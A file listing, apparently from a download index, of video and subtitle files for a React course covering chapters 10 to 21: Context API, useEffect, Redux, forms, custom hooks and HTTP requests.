    Chapter 10 React's Context API & useReducer - Advanced State Management/004. Introducing the Context API.en.srt 2.49 KB
    Chapter 10 React's Context API & useReducer - Advanced State Management/004. Introducing the Context API.mp4 6.92 MB
    Chapter 10 React's Context API & useReducer - Advanced State Management/005. Creating & Providing The Context.en.srt 8.91 KB
    Chapter 10 React's Context API & useReducer - Advanced State Management/005. Creating & Providing The Context.mp4 30.31 MB
    Chapter 10 React's Context API & useReducer - Advanced State Management/006. Consuming the Context.en.srt 6.65 KB
    Chapter 10 React's Context API & useReducer - Advanced State Management/006. Consuming the Context.mp4 31.89 MB
    Chapter 10 React's Context API & useReducer - Advanced State Management/007. Linking the Context to State.en.srt 5.59 KB
    Chapter 10 React's Context API & useReducer - Advanced State Management/007. Linking the Context to State.mp4 28.19 MB
    Chapter 10 React's Context API & useReducer - Advanced State Management/008. A Different Way Of Consuming Context.en.srt 1.61 KB
    Chapter 10 React's Context API & useReducer - Advanced State Management/008. A Different Way Of Consuming Context.mp4 7.15 MB
    Chapter 10 React's Context API & useReducer - Advanced State Management/009. What Happens When Context Values Change.en.srt 8.79 KB
    Chapter 10 React's Context API & useReducer - Advanced State Management/009. What Happens When Context Values Change.mp4 43.54 MB
    Chapter 10 React's Context API & useReducer - Advanced State Management/010. Migrating the Entire Demo Project to use the Context API.en.srt 7.35 KB
    Chapter 10 React's Context API & useReducer - Advanced State Management/010. Migrating the Entire Demo Project to use the Context API.mp4 35.99 MB
    Chapter 10 React's Context API & useReducer - Advanced State Management/011. Outsourcing Context & State Into a Separate Provider Component.en.srt 7.21 KB
    Chapter 10 React's Context API & useReducer - Advanced State Management/011. Outsourcing Context & State Into a Separate Provider Component.mp4 39.28 MB
    Chapter 10 React's Context API & useReducer - Advanced State Management/012. Introducing the useReducer Hook.en.srt 12.12 KB
    Chapter 10 React's Context API & useReducer - Advanced State Management/012. Introducing the useReducer Hook.mp4 60.98 MB
    Chapter 10 React's Context API & useReducer - Advanced State Management/013. Dispatching Actions & Editing State with useReducer.en.srt 12.78 KB
    Chapter 10 React's Context API & useReducer - Advanced State Management/013. Dispatching Actions & Editing State with useReducer.mp4 60.63 MB
    Chapter 11 Handling Side Effects & Using useEffect/001. Module Introduction & Starting Project.en.srt 4.34 KB
    Chapter 11 Handling Side Effects & Using useEffect/001. Module Introduction & Starting Project.mp4 31.18 MB
    Chapter 11 Handling Side Effects & Using useEffect/002. What's a Side Effect A Thorough Example.en.srt 8.99 KB
    Chapter 11 Handling Side Effects & Using useEffect/002. What's a Side Effect A Thorough Example.mp4 42.08 MB
    Chapter 11 Handling Side Effects & Using useEffect/003. A Potential Problem with Side Effects An Infinite Loop.en.srt 3.52 KB
    Chapter 11 Handling Side Effects & Using useEffect/003. A Potential Problem with Side Effects An Infinite Loop.mp4 15.69 MB
    Chapter 11 Handling Side Effects & Using useEffect/004. Using useEffect for Handling (Some) Side Effects.en.srt 6.83 KB
    Chapter 11 Handling Side Effects & Using useEffect/004. Using useEffect for Handling (Some) Side Effects.mp4 36.81 MB
    Chapter 11 Handling Side Effects & Using useEffect/005. Not All Side Effects Need useEffect.en.srt 9.98 KB
    Chapter 11 Handling Side Effects & Using useEffect/005. Not All Side Effects Need useEffect.mp4 49.72 MB
    Chapter 11 Handling Side Effects & Using useEffect/006. useEffect Not Needed Another Example.en.srt 10.6 KB
    Chapter 11 Handling Side Effects & Using useEffect/006. useEffect Not Needed Another Example.mp4 58.21 MB
    Chapter 11 Handling Side Effects & Using useEffect/007. Preparing Another Use-Case For useEffect.en.srt 4.94 KB
    Chapter 11 Handling Side Effects & Using useEffect/007. Preparing Another Use-Case For useEffect.mp4 23.93 MB
    Chapter 11 Handling Side Effects & Using useEffect/008. Using useEffect for Syncing With Browser APIs.en.srt 4.79 KB
    Chapter 11 Handling Side Effects & Using useEffect/008. Using useEffect for Syncing With Browser APIs.mp4 19.25 MB
    Chapter 11 Handling Side Effects & Using useEffect/009. Understanding Effect Dependencies.en.srt 3.85 KB
    Chapter 11 Handling Side Effects & Using useEffect/009. Understanding Effect Dependencies.mp4 17.99 MB
    Chapter 11 Handling Side Effects & Using useEffect/010. Preparing Another Problem That Can Be Fixed with useEffect.en.srt 5.96 KB
    Chapter 11 Handling Side Effects & Using useEffect/010. Preparing Another Problem That Can Be Fixed with useEffect.mp4 27.84 MB
    Chapter 11 Handling Side Effects & Using useEffect/011. Introducing useEffect's Cleanup Function.en.srt 6.03 KB
    Chapter 11 Handling Side Effects & Using useEffect/011. Introducing useEffect's Cleanup Function.mp4 28.94 MB
    Chapter 11 Handling Side Effects & Using useEffect/012. The Problem with Object & Function Dependencies.en.srt 10.56 KB
    Chapter 11 Handling Side Effects & Using useEffect/012. The Problem with Object & Function Dependencies.mp4 49.83 MB
    Chapter 11 Handling Side Effects & Using useEffect/013. The useCallback Hook.en.srt 4.71 KB
    Chapter 11 Handling Side Effects & Using useEffect/013. The useCallback Hook.mp4 22.55 MB
    Chapter 11 Handling Side Effects & Using useEffect/014. useEffect's Cleanup Function Another Example.en.srt 9.47 KB
    Chapter 11 Handling Side Effects & Using useEffect/014. useEffect's Cleanup Function Another Example.mp4 44.49 MB
    Chapter 11 Handling Side Effects & Using useEffect/015. Optimizing State Updates.en.srt 4.85 KB
    Chapter 11 Handling Side Effects & Using useEffect/015. Optimizing State Updates.mp4 20.76 MB
    Chapter 12 Practice Project Building a Quiz App/001. Module Introduction & Starting Project.en.srt 2.88 KB
    Chapter 12 Practice Project Building a Quiz App/001. Module Introduction & Starting Project.mp4 6.53 MB
    Chapter 12 Practice Project Building a Quiz App/002. A First Component & Some State.en.srt 8.69 KB
    Chapter 12 Practice Project Building a Quiz App/002. A First Component & Some State.mp4 20.37 MB
    Chapter 12 Practice Project Building a Quiz App/003. Deriving Values, Outputting Questions & Registering Answers.en.srt 15.84 KB
    Chapter 12 Practice Project Building a Quiz App/003. Deriving Values, Outputting Questions & Registering Answers.mp4 68.35 MB
    Chapter 12 Practice Project Building a Quiz App/004. Shuffling Answers & Adding Quiz Logic.en.srt 8.04 KB
    Chapter 12 Practice Project Building a Quiz App/004. Shuffling Answers & Adding Quiz Logic.mp4 42.69 MB
    Chapter 12 Practice Project Building a Quiz App/005. Adding Question Timers.en.srt 13.97 KB
    Chapter 12 Practice Project Building a Quiz App/005. Adding Question Timers.mp4 50.27 MB
    Chapter 12 Practice Project Building a Quiz App/006. Working with Effect Dependencies & useCallback.en.srt 8.79 KB
    Chapter 12 Practice Project Building a Quiz App/006. Working with Effect Dependencies & useCallback.mp4 44.02 MB
    Chapter 12 Practice Project Building a Quiz App/007. Using Effect Cleanup Functions & Using Keys for Resetting Components.en.srt 9.71 KB
    Chapter 12 Practice Project Building a Quiz App/007. Using Effect Cleanup Functions & Using Keys for Resetting Components.mp4 37.86 MB
    Chapter 12 Practice Project Building a Quiz App/008. Highlighting Selected Answers & Managing More State.en.srt 14.13 KB
    Chapter 12 Practice Project Building a Quiz App/008. Highlighting Selected Answers & Managing More State.mp4 67.59 MB
    Chapter 12 Practice Project Building a Quiz App/009. Splitting Components Up To Solve Problems.en.srt 21.05 KB
    Chapter 12 Practice Project Building a Quiz App/009. Splitting Components Up To Solve Problems.mp4 107.67 MB
    Chapter 12 Practice Project Building a Quiz App/010. Moving Logic To Components That Actually Need It (Moving State Down).en.srt 15.49 KB
    Chapter 12 Practice Project Building a Quiz App/010. Moving Logic To Components That Actually Need It (Moving State Down).mp4 68.01 MB
    Chapter 12 Practice Project Building a Quiz App/011. Setting Different Timers Based On The Selected Answer.en.srt 10.28 KB
    Chapter 12 Practice Project Building a Quiz App/011. Setting Different Timers Based On The Selected Answer.mp4 39.89 MB
    Chapter 12 Practice Project Building a Quiz App/012. Outputting Quiz Results.en.srt 18.58 KB
    Chapter 12 Practice Project Building a Quiz App/012. Outputting Quiz Results.mp4 75.29 MB
    Chapter 13 A Look Behind The Scenes Of React & Optimization Techniques/001. Module Introduction.en.srt 1.34 KB
    Chapter 13 A Look Behind The Scenes Of React & Optimization Techniques/001. Module Introduction.mp4 3.31 MB
    Chapter 13 A Look Behind The Scenes Of React & Optimization Techniques/002. React Builds A Component Tree How React Works Behind The Scenes.en.srt 11.67 KB
    Chapter 13 A Look Behind The Scenes Of React & Optimization Techniques/002. React Builds A Component Tree How React Works Behind The Scenes.mp4 33.74 MB
    Chapter 13 A Look Behind The Scenes Of React & Optimization Techniques/003. Analyzing Component Function Executions via React's DevTools Profiler.en.srt 8.13 KB
    Chapter 13 A Look Behind The Scenes Of React & Optimization Techniques/003. Analyzing Component Function Executions via React's DevTools Profiler.mp4 22.88 MB
    Chapter 13 A Look Behind The Scenes Of React & Optimization Techniques/004. Avoiding Component Function Executions with memo().en.srt 10.79 KB
    Chapter 13 A Look Behind The Scenes Of React & Optimization Techniques/004. Avoiding Component Function Executions with memo().mp4 38.54 MB
    Chapter 13 A Look Behind The Scenes Of React & Optimization Techniques/005. Avoiding Component Function Executions with Clever Structuring.en.srt 7.83 KB
    Chapter 13 A Look Behind The Scenes Of React & Optimization Techniques/005. Avoiding Component Function Executions with Clever Structuring.mp4 28.41 MB
    Chapter 13 A Look Behind The Scenes Of React & Optimization Techniques/006. Understanding the useCallback() Hook.en.srt 9.25 KB
    Chapter 13 A Look Behind The Scenes Of React & Optimization Techniques/006. Understanding the useCallback() Hook.mp4 35.58 MB
    Chapter 13 A Look Behind The Scenes Of React & Optimization Techniques/007. Understanding the useMemo() Hook.en.srt 7.47 KB
    Chapter 13 A Look Behind The Scenes Of React & Optimization Techniques/007. Understanding the useMemo() Hook.mp4 32.19 MB
    Chapter 13 A Look Behind The Scenes Of React & Optimization Techniques/008. React Uses A Virtual DOM - Time To Explore It!.en.srt 8.64 KB
    Chapter 13 A Look Behind The Scenes Of React & Optimization Techniques/008. React Uses A Virtual DOM - Time To Explore It!.mp4 41.99 MB
    Chapter 13 A Look Behind The Scenes Of React & Optimization Techniques/009. Why Keys Matter When Managing State!.en.srt 15 KB
    Chapter 13 A Look Behind The Scenes Of React & Optimization Techniques/009. Why Keys Matter When Managing State!.mp4 58.12 MB
    Chapter 13 A Look Behind The Scenes Of React & Optimization Techniques/010. More Reasons For Why Keys Matter.en.srt 3.82 KB
    Chapter 13 A Look Behind The Scenes Of React & Optimization Techniques/010. More Reasons For Why Keys Matter.mp4 13.9 MB
    Chapter 13 A Look Behind The Scenes Of React & Optimization Techniques/011. Using Keys For Resetting Components.en.srt 6.75 KB
    Chapter 13 A Look Behind The Scenes Of React & Optimization Techniques/011. Using Keys For Resetting Components.mp4 29.16 MB
    Chapter 13 A Look Behind The Scenes Of React & Optimization Techniques/012. State Scheduling & Batching.en.srt 7.48 KB
    Chapter 13 A Look Behind The Scenes Of React & Optimization Techniques/012. State Scheduling & Batching.mp4 27.47 MB
    Chapter 13 A Look Behind The Scenes Of React & Optimization Techniques/013. Optimizing React with MillionJS.en.srt 6.32 KB
    Chapter 13 A Look Behind The Scenes Of React & Optimization Techniques/013. Optimizing React with MillionJS.mp4 23.62 MB
    Chapter 14 An Alternative Way Of Building Components Class-based Components/001. Module Introduction.en.srt 2.52 KB
    Chapter 14 An Alternative Way Of Building Components Class-based Components/001. Module Introduction.mp4 4.62 MB
    Chapter 14 An Alternative Way Of Building Components Class-based Components/002. What & Why.en.srt 5.9 KB
    Chapter 14 An Alternative Way Of Building Components Class-based Components/002. What & Why.mp4 12.93 MB
    Chapter 14 An Alternative Way Of Building Components Class-based Components/003. Adding a First Class-based Component.en.srt 8.7 KB
    Chapter 14 An Alternative Way Of Building Components Class-based Components/003. Adding a First Class-based Component.mp4 35.32 MB
    Chapter 14 An Alternative Way Of Building Components Class-based Components/004. Working with State & Events.en.srt 15.01 KB
    Chapter 14 An Alternative Way Of Building Components Class-based Components/004. Working with State & Events.mp4 68.12 MB
    Chapter 14 An Alternative Way Of Building Components Class-based Components/005. The Component Lifecycle (Class-based Components Only!).en.srt 6.58 KB
    Chapter 14 An Alternative Way Of Building Components Class-based Components/005. The Component Lifecycle (Class-based Components Only!).mp4 19.66 MB
    Chapter 14 An Alternative Way Of Building Components Class-based Components/006. Lifecycle Methods In Action.en.srt 15.53 KB
    Chapter 14 An Alternative Way Of Building Components Class-based Components/006. Lifecycle Methods In Action.mp4 76.12 MB
    Chapter 14 An Alternative Way Of Building Components Class-based Components/007. Class-based Components & Context.en.srt 6.11 KB
    Chapter 14 An Alternative Way Of Building Components Class-based Components/007. Class-based Components & Context.mp4 29.22 MB
    Chapter 14 An Alternative Way Of Building Components Class-based Components/008. Class-based vs Functional Components A Summary.en.srt 3.61 KB
    Chapter 14 An Alternative Way Of Building Components Class-based Components/008. Class-based vs Functional Components A Summary.mp4 11.04 MB
    Chapter 14 An Alternative Way Of Building Components Class-based Components/009. Introducing Error Boundaries.en.srt 13.25 KB
    Chapter 14 An Alternative Way Of Building Components Class-based Components/009. Introducing Error Boundaries.mp4 54.31 MB
    Chapter 15 Sending Http Requests (e.g. Connecting to a Database)/001. Module Introduction.en.srt 3.31 KB
    Chapter 15 Sending Http Requests (e.g. Connecting to a Database)/001. Module Introduction.mp4 22.21 MB
    Chapter 15 Sending Http Requests (e.g. Connecting to a Database)/002. How (Not) To Connect To A Database.en.srt 7.68 KB
    Chapter 15 Sending Http Requests (e.g. Connecting to a Database)/002. How (Not) To Connect To A Database.mp4 22.74 MB
    Chapter 15 Sending Http Requests (e.g. Connecting to a Database)/003. Starting Project & Dummy Backend API.en.srt 4.1 KB
    Chapter 15 Sending Http Requests (e.g. Connecting to a Database)/003. Starting Project & Dummy Backend API.mp4 14.25 MB
    Chapter 15 Sending Http Requests (e.g. Connecting to a Database)/004. Preparing the App For Data Fetching.en.srt 6.11 KB
    Chapter 15 Sending Http Requests (e.g. Connecting to a Database)/004. Preparing the App For Data Fetching.mp4 24.77 MB
    Chapter 15 Sending Http Requests (e.g. Connecting to a Database)/005. How NOT To Send HTTP Requests (And Why It's Wrong).en.srt 7.62 KB
    Chapter 15 Sending Http Requests (e.g. Connecting to a Database)/005. How NOT To Send HTTP Requests (And Why It's Wrong).mp4 30.35 MB
    Chapter 15 Sending Http Requests (e.g. Connecting to a Database)/006. Sending HTTP Requests (GET Request) via useEffect.en.srt 4.72 KB
    Chapter 15 Sending Http Requests (e.g. Connecting to a Database)/006. Sending HTTP Requests (GET Request) via useEffect.mp4 23.33 MB
    Chapter 15 Sending Http Requests (e.g. Connecting to a Database)/007. Using async await.en.srt 2.94 KB
    Chapter 15 Sending Http Requests (e.g. Connecting to a Database)/007. Using async await.mp4 13.69 MB
    Chapter 15 Sending Http Requests (e.g. Connecting to a Database)/008. Handling Loading States.en.srt 6.68 KB
    Chapter 15 Sending Http Requests (e.g. Connecting to a Database)/008. Handling Loading States.mp4 31.98 MB
    Chapter 15 Sending Http Requests (e.g. Connecting to a Database)/009. Handling HTTP Errors.en.srt 11.45 KB
    Chapter 15 Sending Http Requests (e.g. Connecting to a Database)/009. Handling HTTP Errors.mp4 46.53 MB
    Chapter 15 Sending Http Requests (e.g. Connecting to a Database)/010. Transforming Fetched Data.en.srt 6.91 KB
    Chapter 15 Sending Http Requests (e.g. Connecting to a Database)/010. Transforming Fetched Data.mp4 33.19 MB
    Chapter 15 Sending Http Requests (e.g. Connecting to a Database)/011. Extracting Code & Improving Code Structure.en.srt 3.21 KB
    Chapter 15 Sending Http Requests (e.g. Connecting to a Database)/011. Extracting Code & Improving Code Structure.mp4 16.83 MB
    Chapter 15 Sending Http Requests (e.g. Connecting to a Database)/012. Sending Data with POST Requests.en.srt 15.31 KB
    Chapter 15 Sending Http Requests (e.g. Connecting to a Database)/012. Sending Data with POST Requests.mp4 67.09 MB
    Chapter 15 Sending Http Requests (e.g. Connecting to a Database)/013. Using Optimistic Updating.en.srt 9.34 KB
    Chapter 15 Sending Http Requests (e.g. Connecting to a Database)/013. Using Optimistic Updating.mp4 51.39 MB
    Chapter 15 Sending Http Requests (e.g. Connecting to a Database)/014. Deleting Data (via DELETE HTTP Requests).en.srt 4.75 KB
    Chapter 15 Sending Http Requests (e.g. Connecting to a Database)/014. Deleting Data (via DELETE HTTP Requests).mp4 26.78 MB
    Chapter 15 Sending Http Requests (e.g. Connecting to a Database)/015. Practice Fetching Data.en.srt 8.42 KB
    Chapter 15 Sending Http Requests (e.g. Connecting to a Database)/015. Practice Fetching Data.mp4 48.44 MB
    Chapter 16 Building Custom React Hooks/001. Module Introduction & Starting Project.en.srt 2.37 KB
    Chapter 16 Building Custom React Hooks/001. Module Introduction & Starting Project.mp4 6.74 MB
    Chapter 16 Building Custom React Hooks/002. Revisiting the Rules of Hooks & Why To Use Hooks.en.srt 7.29 KB
    Chapter 16 Building Custom React Hooks/002. Revisiting the Rules of Hooks & Why To Use Hooks.mp4 35.29 MB
    Chapter 16 Building Custom React Hooks/003. Creating a Custom Hook.en.srt 6.75 KB
    Chapter 16 Building Custom React Hooks/003. Creating a Custom Hook.mp4 26.12 MB
    Chapter 16 Building Custom React Hooks/004. Custom Hook Managing State & Returning State Values.en.srt 13.58 KB
    Chapter 16 Building Custom React Hooks/004. Custom Hook Managing State & Returning State Values.mp4 59.25 MB
    Chapter 16 Building Custom React Hooks/005. Exposing Nested Functions From The Custom Hook.en.srt 7.14 KB
    Chapter 16 Building Custom React Hooks/005. Exposing Nested Functions From The Custom Hook.mp4 43.61 MB
    Chapter 16 Building Custom React Hooks/006. Using A Custom Hook in Multiple Components.en.srt 5.09 KB
    Chapter 16 Building Custom React Hooks/006. Using A Custom Hook in Multiple Components.mp4 35.49 MB
    Chapter 16 Building Custom React Hooks/007. Creating Flexible Custom Hooks.en.srt 5.91 KB
    Chapter 16 Building Custom React Hooks/007. Creating Flexible Custom Hooks.mp4 36.06 MB
    Chapter 17 Working with Forms & User Input/001. Module Introduction & Starting Project.en.srt 2.34 KB
    Chapter 17 Working with Forms & User Input/001. Module Introduction & Starting Project.mp4 5.18 MB
    Chapter 17 Working with Forms & User Input/002. What Are Forms & What's Tricky About Them.en.srt 4.46 KB
    Chapter 17 Working with Forms & User Input/002. What Are Forms & What's Tricky About Them.mp4 10.3 MB
    Chapter 17 Working with Forms & User Input/003. Handling Form Submission.en.srt 12.65 KB
    Chapter 17 Working with Forms & User Input/003. Handling Form Submission.mp4 42.59 MB
    Chapter 17 Working with Forms & User Input/004. Managing & Getting User Input via State & Generic Handlers.en.srt 13.17 KB
    Chapter 17 Working with Forms & User Input/004. Managing & Getting User Input via State & Generic Handlers.mp4 57.21 MB
    Chapter 17 Working with Forms & User Input/005. Getting User Input via Refs.en.srt 5.42 KB
    Chapter 17 Working with Forms & User Input/005. Getting User Input via Refs.mp4 24.73 MB
    Chapter 17 Working with Forms & User Input/006. Getting Values via FormData & Native Browser APIs.en.srt 10.41 KB
    Chapter 17 Working with Forms & User Input/006. Getting Values via FormData & Native Browser APIs.mp4 47.13 MB
    Chapter 17 Working with Forms & User Input/007. Resetting Forms.en.srt 5.51 KB
    Chapter 17 Working with Forms & User Input/007. Resetting Forms.mp4 23.11 MB
    Chapter 17 Working with Forms & User Input/008. Validating Input on Every Keystroke via State.en.srt 8.18 KB
    Chapter 17 Working with Forms & User Input/008. Validating Input on Every Keystroke via State.mp4 31.69 MB
    Chapter 17 Working with Forms & User Input/009. Validating Input Upon Lost Focus.en.srt 9.13 KB
    Chapter 17 Working with Forms & User Input/009. Validating Input Upon Lost Focus.mp4 32.93 MB
    Chapter 17 Working with Forms & User Input/010. Validating Input Upon Form Submission.en.srt 9.76 KB
    Chapter 17 Working with Forms & User Input/010. Validating Input Upon Form Submission.mp4 40.18 MB
    Chapter 17 Working with Forms & User Input/011. Validating Input via Built-in Validation Props.en.srt 6 KB
    Chapter 17 Working with Forms & User Input/011. Validating Input via Built-in Validation Props.mp4 27.31 MB
    Chapter 17 Working with Forms & User Input/012. Mixing Custom & Built-in Validation Logic.en.srt 5.29 KB
    Chapter 17 Working with Forms & User Input/012. Mixing Custom & Built-in Validation Logic.mp4 24.14 MB
    Chapter 17 Working with Forms & User Input/013. Building & Using a Reusable Input Component.en.srt 11.32 KB
    Chapter 17 Working with Forms & User Input/013. Building & Using a Reusable Input Component.mp4 57.49 MB
    Chapter 17 Working with Forms & User Input/014. Outsourcing Validation Logic.en.srt 4.01 KB
    Chapter 17 Working with Forms & User Input/014. Outsourcing Validation Logic.mp4 18.41 MB
    Chapter 17 Working with Forms & User Input/015. Creating a Custom useInput Hook.en.srt 18.36 KB
    Chapter 17 Working with Forms & User Input/015. Creating a Custom useInput Hook.mp4 83.24 MB
    Chapter 17 Working with Forms & User Input/016. Using Third-Party Form Libraries.en.srt 1.62 KB
    Chapter 17 Working with Forms & User Input/016. Using Third-Party Form Libraries.mp4 7.84 MB
    Chapter 18 Practice Project/001. Module Introduction & Starting Project.en.srt 5.38 KB
    Chapter 18 Practice Project/001. Module Introduction & Starting Project.mp4 20.33 MB
    Chapter 18 Practice Project/002. Planning the App & Adding a First Component.en.srt 8.48 KB
    Chapter 18 Practice Project/002. Planning the App & Adding a First Component.mp4 25.74 MB
    Chapter 18 Practice Project/003. Fetching Meals Data.en.srt 14.91 KB
    Chapter 18 Practice Project/003. Fetching Meals Data.mp4 46.98 MB
    Chapter 18 Practice Project/004. Adding a MealItem Component.en.srt 9.04 KB
    Chapter 18 Practice Project/004. Adding a MealItem Component.mp4 35.13 MB
    Chapter 18 Practice Project/005. Formatting & Outputting Numbers as Currency.en.srt 3.29 KB
    Chapter 18 Practice Project/005. Formatting & Outputting Numbers as Currency.mp4 13.1 MB
    Chapter 18 Practice Project/006. Creating a Configurable & Flexible Custom Button Component.en.srt 9.95 KB
    Chapter 18 Practice Project/006. Creating a Configurable & Flexible Custom Button Component.mp4 33.78 MB
    Chapter 18 Practice Project/007. Getting Started with Cart Context & Reducer.en.srt 24.25 KB
    Chapter 18 Practice Project/007. Getting Started with Cart Context & Reducer.mp4 82.41 MB
    Chapter 18 Practice Project/008. Finishing & Using the Cart Context & Reducer.en.srt 21.19 KB
    Chapter 18 Practice Project/008. Finishing & Using the Cart Context & Reducer.mp4 91.4 MB
    Chapter 18 Practice Project/009. Adding a Reusable Modal Component with useEffect.en.srt 9.1 KB
    Chapter 18 Practice Project/009. Adding a Reusable Modal Component with useEffect.mp4 26.13 MB
    Chapter 18 Practice Project/010. Opening the Cart in the Modal via a New Context.en.srt 24.05 KB
    Chapter 18 Practice Project/010. Opening the Cart in the Modal via a New Context.mp4 91.74 MB
    Chapter 18 Practice Project/011. Working on the Cart Items.en.srt 9.94 KB
    Chapter 18 Practice Project/011. Working on the Cart Items.mp4 38.99 MB
    Chapter 18 Practice Project/012. Adding a Custom Input Component & Managing Modal Visibility.en.srt 24.5 KB
    Chapter 18 Practice Project/012. Adding a Custom Input Component & Managing Modal Visibility.mp4 94.73 MB
    Chapter 18 Practice Project/013. Handling Form Submission & Validation.en.srt 7.45 KB
    Chapter 18 Practice Project/013. Handling Form Submission & Validation.mp4 35.21 MB
    Chapter 18 Practice Project/014. Sending a POST Request with Order Data.en.srt 9.74 KB
    Chapter 18 Practice Project/014. Sending a POST Request with Order Data.mp4 44.48 MB
    Chapter 18 Practice Project/015. Adding a Custom HTTP Hook & Avoiding Common Errors.en.srt 34.65 KB
    Chapter 01 Getting Started/001. Welcome to the Course.en.srt 1.49 KB
    Chapter 18 Practice Project/016. Handling HTTP Loading & Error States.en.srt 4.15 KB
    Chapter 18 Practice Project/016. Handling HTTP Loading & Error States.mp4 16.5 MB
    Chapter 18 Practice Project/017. Finishing Touches.en.srt 16.98 KB
    Chapter 18 Practice Project/017. Finishing Touches.mp4 85.39 MB
    Chapter 19 Diving into Redux/001. Module Introduction.en.srt 1.33 KB
    Chapter 19 Diving into Redux/001. Module Introduction.mp4 2.65 MB
    Chapter 19 Diving into Redux/002. Another Look At State In React Apps.en.srt 6.56 KB
    Chapter 19 Diving into Redux/002. Another Look At State In React Apps.mp4 16.67 MB
    Chapter 19 Diving into Redux/003. Redux vs React Context.en.srt 8.49 KB
    Chapter 19 Diving into Redux/003. Redux vs React Context.mp4 15.61 MB
    Chapter 19 Diving into Redux/004. How Redux Works.en.srt 7.34 KB
    Chapter 19 Diving into Redux/004. How Redux Works.mp4 12.75 MB
    Chapter 19 Diving into Redux/005. Exploring The Core Redux Concepts.en.srt 20.37 KB
    Chapter 19 Diving into Redux/005. Exploring The Core Redux Concepts.mp4 47.23 MB
    Chapter 19 Diving into Redux/006. More Redux Basics.en.srt 3.96 KB
    Chapter 19 Diving into Redux/006. More Redux Basics.mp4 12.21 MB
    Chapter 19 Diving into Redux/007. Preparing a new Project.en.srt 2.49 KB
    Chapter 19 Diving into Redux/007. Preparing a new Project.mp4 5.62 MB
    Chapter 19 Diving into Redux/008. Creating a Redux Store for React.en.srt 5.94 KB
    Chapter 19 Diving into Redux/008. Creating a Redux Store for React.mp4 21.08 MB
    Chapter 19 Diving into Redux/009. Providing the Store.en.srt 4.15 KB
    Chapter 19 Diving into Redux/009. Providing the Store.mp4 15.01 MB
    Chapter 19 Diving into Redux/010. Using Redux Data in React Components.en.srt 6.8 KB
    Chapter 19 Diving into Redux/010. Using Redux Data in React Components.mp4 26.66 MB
    Chapter 19 Diving into Redux/011. Dispatching Actions From Inside Components.en.srt 4.68 KB
    Chapter 19 Diving into Redux/011. Dispatching Actions From Inside Components.mp4 21.13 MB
    Chapter 19 Diving into Redux/012. Redux with Class-based Components.en.srt 14.06 KB
    Chapter 19 Diving into Redux/012. Redux with Class-based Components.mp4 63.14 MB
    Chapter 19 Diving into Redux/013. Attaching Payloads to Actions.en.srt 5.49 KB
    Chapter 19 Diving into Redux/013. Attaching Payloads to Actions.mp4 24.43 MB
    Chapter 19 Diving into Redux/014. Working with Multiple State Properties.en.srt 8.6 KB
    Chapter 19 Diving into Redux/014. Working with Multiple State Properties.mp4 37.16 MB
    Chapter 19 Diving into Redux/015. How To Work With Redux State Correctly.en.srt 6.98 KB
    Chapter 19 Diving into Redux/015. How To Work With Redux State Correctly.mp4 27.54 MB
    Chapter 19 Diving into Redux/016. Redux Challenges & Introducing Redux Toolkit.en.srt 7.22 KB
    Chapter 19 Diving into Redux/016. Redux Challenges & Introducing Redux Toolkit.mp4 27.87 MB
    Chapter 19 Diving into Redux/017. Adding State Slices.en.srt 10.39 KB
    Chapter 19 Diving into Redux/017. Adding State Slices.mp4 50.12 MB
    Chapter 19 Diving into Redux/018. Connecting Redux Toolkit State.en.srt 5.8 KB
    Chapter 19 Diving into Redux/018. Connecting Redux Toolkit State.mp4 25.74 MB
    Chapter 19 Diving into Redux/019. Migrating Everything To Redux Toolkit.en.srt 7.43 KB
    Chapter 19 Diving into Redux/019. Migrating Everything To Redux Toolkit.mp4 36.37 MB
    Chapter 19 Diving into Redux/020. Working with Multiple Slices.en.srt 14.93 KB
    Chapter 19 Diving into Redux/020. Working with Multiple Slices.mp4 62.72 MB
    Chapter 19 Diving into Redux/021. Reading & Dispatching From A New Slice.en.srt 8.7 KB
    Chapter 19 Diving into Redux/021. Reading & Dispatching From A New Slice.mp4 41.55 MB
    Chapter 19 Diving into Redux/022. Splitting Our Code.en.srt 6.55 KB
    Chapter 19 Diving into Redux/022. Splitting Our Code.mp4 32.28 MB
    Chapter 19 Diving into Redux/023. Summary.en.srt 4.98 KB
    Chapter 19 Diving into Redux/023. Summary.mp4 18.5 MB
    Chapter 20 Advanced Redux/001. Module Introduction.en.srt 831 B
    Chapter 20 Advanced Redux/001. Module Introduction.mp4 1.4 MB
    Chapter 20 Advanced Redux/002. Redux & Side Effects.en.srt 4.42 KB
    Chapter 20 Advanced Redux/002. Redux & Side Effects.mp4 8.55 MB
    Chapter 20 Advanced Redux/003. Refresher Practice Part 1 of 2.en.srt 26.74 KB
    Chapter 20 Advanced Redux/003. Refresher Practice Part 1 of 2.mp4 94.65 MB
    Chapter 20 Advanced Redux/004. Refresher Practice Part 2 of 2.en.srt 24.46 KB
    Chapter 20 Advanced Redux/004. Refresher Practice Part 2 of 2.mp4 116.27 MB
    Chapter 20 Advanced Redux/005. Redux & Async Code.en.srt 5.33 KB
    Chapter 20 Advanced Redux/005. Redux & Async Code.mp4 14.05 MB
    Chapter 20 Advanced Redux/006. Frontend Code vs Backend Code.en.srt 7.6 KB
    Chapter 20 Advanced Redux/006. Frontend Code vs Backend Code.mp4 23.87 MB
    Chapter 20 Advanced Redux/007. Where To Put Our Logic.en.srt 12.13 KB
    Chapter 20 Advanced Redux/007. Where To Put Our Logic.mp4 47.4 MB
    Chapter 20 Advanced Redux/008. Using useEffect with Redux.en.srt 7.96 KB
    Chapter 20 Advanced Redux/008. Using useEffect with Redux.mp4 36.24 MB
    Chapter 20 Advanced Redux/009. Handling Http States & Feedback with Redux.en.srt 17.61 KB
    Chapter 20 Advanced Redux/009. Handling Http States & Feedback with Redux.mp4 86.51 MB
    Chapter 20 Advanced Redux/010. Using an Action Creator Thunk.en.srt 17.03 KB
    Chapter 20 Advanced Redux/010. Using an Action Creator Thunk.mp4 65.3 MB
    Chapter 20 Advanced Redux/011. Getting Started with Fetching Data.en.srt 12.06 KB
    Chapter 20 Advanced Redux/011. Getting Started with Fetching Data.mp4 58.32 MB
    Chapter 20 Advanced Redux/012. Finalizing the Fetching Logic.en.srt 7.22 KB
    Chapter 20 Advanced Redux/012. Finalizing the Fetching Logic.mp4 33.93 MB
    Chapter 20 Advanced Redux/013. Exploring the Redux DevTools.en.srt 7.93 KB
    Chapter 20 Advanced Redux/013. Exploring the Redux DevTools.mp4 23.74 MB
    Chapter 20 Advanced Redux/014. Summary.en.srt 2.46 KB
    Chapter 20 Advanced Redux/014. Summary.mp4 9.68 MB
    Chapter 21 Building a Multi-Page SPA with React Router/001. Module Introduction.en.srt 4.34 KB
